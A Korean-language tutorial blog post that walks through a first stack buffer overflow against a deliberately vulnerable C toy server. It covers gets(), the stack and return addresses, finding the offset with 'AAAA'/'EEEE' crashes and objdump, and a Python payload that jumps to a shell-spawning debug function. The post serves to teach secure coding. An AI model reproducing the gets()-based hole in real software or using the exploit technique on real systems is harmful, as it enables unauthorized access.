첫 번째 버퍼 오버플로
학생이든, 개발자이든, 회사의 관리자이든, 이것을 시도해야 합니다. 안전한 코드 작성의 핵심은 잘못된 코드가 어떻게 손상되는지 이해하는 것입니다. 나쁜 코드를 깨는 유일한 방법은 손을 더럽히고 바이너리 익스플로잇 챌린지에서 쉘을 터뜨리기 시작하는 것입니다. 이 기사에서는 내가 YouTube에서 수행한 예제를 사용하여 자체 버퍼 오버플로 공격을 실행하는 방법을 안내합니다.
내 YouTube 동영상 중 하나에서 C 프로그래밍 언어의 문자열이 어떻게 사람들을 해킹하는지 설명했습니다. 이에 대한 주된 이유는 C 문자열 유형과 연관된 구운 길이 속성이 없기 때문입니다. 문자열이 완료되었는지 알 수 있는 유일한 방법은 문자열의 끝으로 이동하는 것입니다.
https://youtu.be/fjMrDDj47E8
이 개념은 소프트웨어의 수많은 버퍼 오버플로 취약점으로 이어졌고 그 결과 수천 건의 사이버 공격과 개인 데이터 도난으로 이어졌습니다.
취약한 서버
다음은 C로 된 간단한 서버용 코드입니다.
#include <stdio.h>
#include <secrets.h>
void debug()
{
printf("!! ENTERING DEBUG MODE !!\n");
system("/bin/bash");
}
int checkPassword()
{
char password[64];
printf("password: ");
gets(password);
return isValidPassword(password);
}
int main(int argc, char **argv)
{
printf("WELCOME TO THE SECURE SERVER\n");
if (checkPassword())
{
debug();
} else {
printf("Wrong password, sorry;\n");
}
}
그러나 여기에는 중대한 취약점이 있습니다. 결국 확인되는 암호 는 극도로 취약한 기능인 gets 함수에 의해 읽혀집니다. 내 말을 못 믿겠으면 get에 대한 매뉴얼 페이지를 확인하십시오.
Never use gets(). Because it is impossible to tell without knowing the data
in advance how many characters gets() will read, and because gets() will
continue to store characters past the end of the buffer, it is extremely
dangerous to use. It has been used to break computer security. Use fgets()
instead.
스택
프로그래머와 사이버 보안 전문가가 이해하기 가장 어려운 부분은 버퍼 외부의 데이터 오버런이 어떻게 해커가 코드와 궁극적으로 컴퓨터를 제어하게 할 수 있는지입니다. 이것이 일어나는 방식은 프로그램이 실행될 때 컴퓨터가 메모리를 구성하는 방식 때문입니다.

위 코드 샘플에서 프로그램은 main에서 시작합니다. main 이 시작된 후 10행에서 other_function 이 호출됩니다. 이해해야 할 매우 중요한 것은 other_function 이 반환된 후 11행으로 이동하는 것을 아는 방법입니다.
이 정보를 포함하는 구조를 "스택"이라고 합니다. 스택은 프로그램이 실행될 때 사용되는 RAM 영역이며 제어 흐름 정보(예: 반환 주소)와 데이터를 저장하는 데 사용됩니다.
main 이 other_function 을 호출 하면 other_function 이 반환 된 후 main 에서 다음에 실행될 주소가 스택 맨 위로 푸시됩니다. other_function 이 실행된 다음 프로그램은 main 에 저장된 주소로 돌아갑니다 .
여기에서 버퍼 오버플로가 문제가 되기 시작합니다. 프로그램 데이터에 버퍼 오버플로가 있는 경우 제어 흐름 정보를 변경할 수 있으며 결국 프로그램 실행 방법을 변경할 수 있습니다.

직접 시도
여기 이 코드 스니펫에도 동일한 내용이 적용됩니다. 이 프로그램의 기본 아이디어는 다음과 같습니다. 비밀번호를 알고 있으면 쉘을 얻게 됩니다. 불행하게도 우리 해커들은 암호를 모르기 때문에 셸을 얻을 수 없습니다. 그러나 get 함수 를 사용하기 때문에 버퍼 오버플로 취약점을 이용하여 반환 주소를 오버플로할 수 있습니다. main 으로 돌아가는 대신 비밀번호를 몰라도 디버그 기능 으로 바로 돌아갈 수 있습니다 .
여기를 따라 가십시오:
https://github.com/lowlevellearning/secure-server-stuff
테스트 기능
시작하려면 서버를 실행하고 기능을 테스트해야 합니다. 또한 암호를 추측해 봅시다.

좋아, 주사위는 없어. 여기에서 해킹이 시작됩니다.
서버 충돌
이름에서 알 수 있듯이 버퍼 오버플로를 통해 버퍼 오버플로를 이용할 수 있습니다. 이를 위해 서버가 처리할 수 있는 것보다 더 많은 데이터를 제공합니다.

맨 아래에서 프로그램에 분할 오류가 있음을 알 수 있습니다. 이것이 의미하는 바는 프로그램이 액세스할 수 없는 메모리에 액세스하려고 시도했다는 것입니다. 당신이 개발자라면 이것은 나쁩니다. 하지만 서버를 해킹하려는 경우에는 이것이 좋습니다. :)
충돌을 조금 더 분석해 보겠습니다.

여기에서 주소 0x41414141에서 명령을 실행하려고 할 때 프로그램이 segfaulted임을 알 수 있습니다. 그 주소는… 이상해 보였을 것입니다. 흥미롭게도 0x41414141은 "AAAA" 문자열의 16진수 표현입니다. 즉, As 문자열이 반환 주소로 오버플로되어 CPU가 실행을 시도했음을 의미합니다. 지금 해킹 중입니다!
제어하기
반환 주소를 정확하게 제어하려면 ASCII 문자열의 어느 부분이 프로그램 충돌을 일으켰는지 구체적으로 확인해야 합니다. 문자열을 다른 문자로 변조하고 문자를 사용하여 반환 주소 제어가 시작되고 끝나는 위치를 결정함으로써 이를 수행할 수 있습니다.

As의 긴 문자열 대신 64개의 As를 입력하고 일련의 추가 ASCII 문자를 추가했습니다. 64는 입력 버퍼의 길이이므로 길이를 추측하기에 좋은 위치입니다. 그런 다음 추가 문자를 삽입합니다. 제어가 시작되는 위치를 확인하려면 이전과 동일한 명령을 사용하십시오.

이제 새 반송 주소가 있는 것을 볼 수 있습니다. 0x45454545는 "EEEE"의 16진수 표현입니다! 이것이 의미하는 바는 오버플로가 반환 포인터를 제어하는 위치를 결정했다는 것입니다. 여기에서 실제로 관심 있는 버퍼에 주소를 입력해야 합니다. 디버그 기능으로 돌아가려고 하므로 EEEE 문자열 대신 해당 주소를 넣어야 합니다.
디버그 주소를 결정하기 위해 간단한 명령을 실행합니다…
objdump -d -Mintel ./hacked | less

디버그 주소가 0x08049296인 것 같습니다. EEEE 문자열이 있던 곳에 디버그 주소를 입력하면 암호 없이도 프로그램을 제어하고 디버그로 돌아갈 수 있습니다.
최종 익스플로잇
python-fu를 사용하여 그렇게 할 수 있습니다.
import sys
payload = b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
payload += b"BBBBCCCCDDDD"
payload += b"\x08\x04\x92\x96"[::-1]
sys.stdout.buffer.write(payload)
user@user:~/vuln$ (python3 exploit.py; cat) | ./hacked
WELCOME TO THE SECURE SERVER
password: !! ENTERING DEBUG MODE !!
cat password
too_kool_4_skoo
Medium에서 저를 팔로우하고 YouTube에서 구독하세요. 앞으로 더!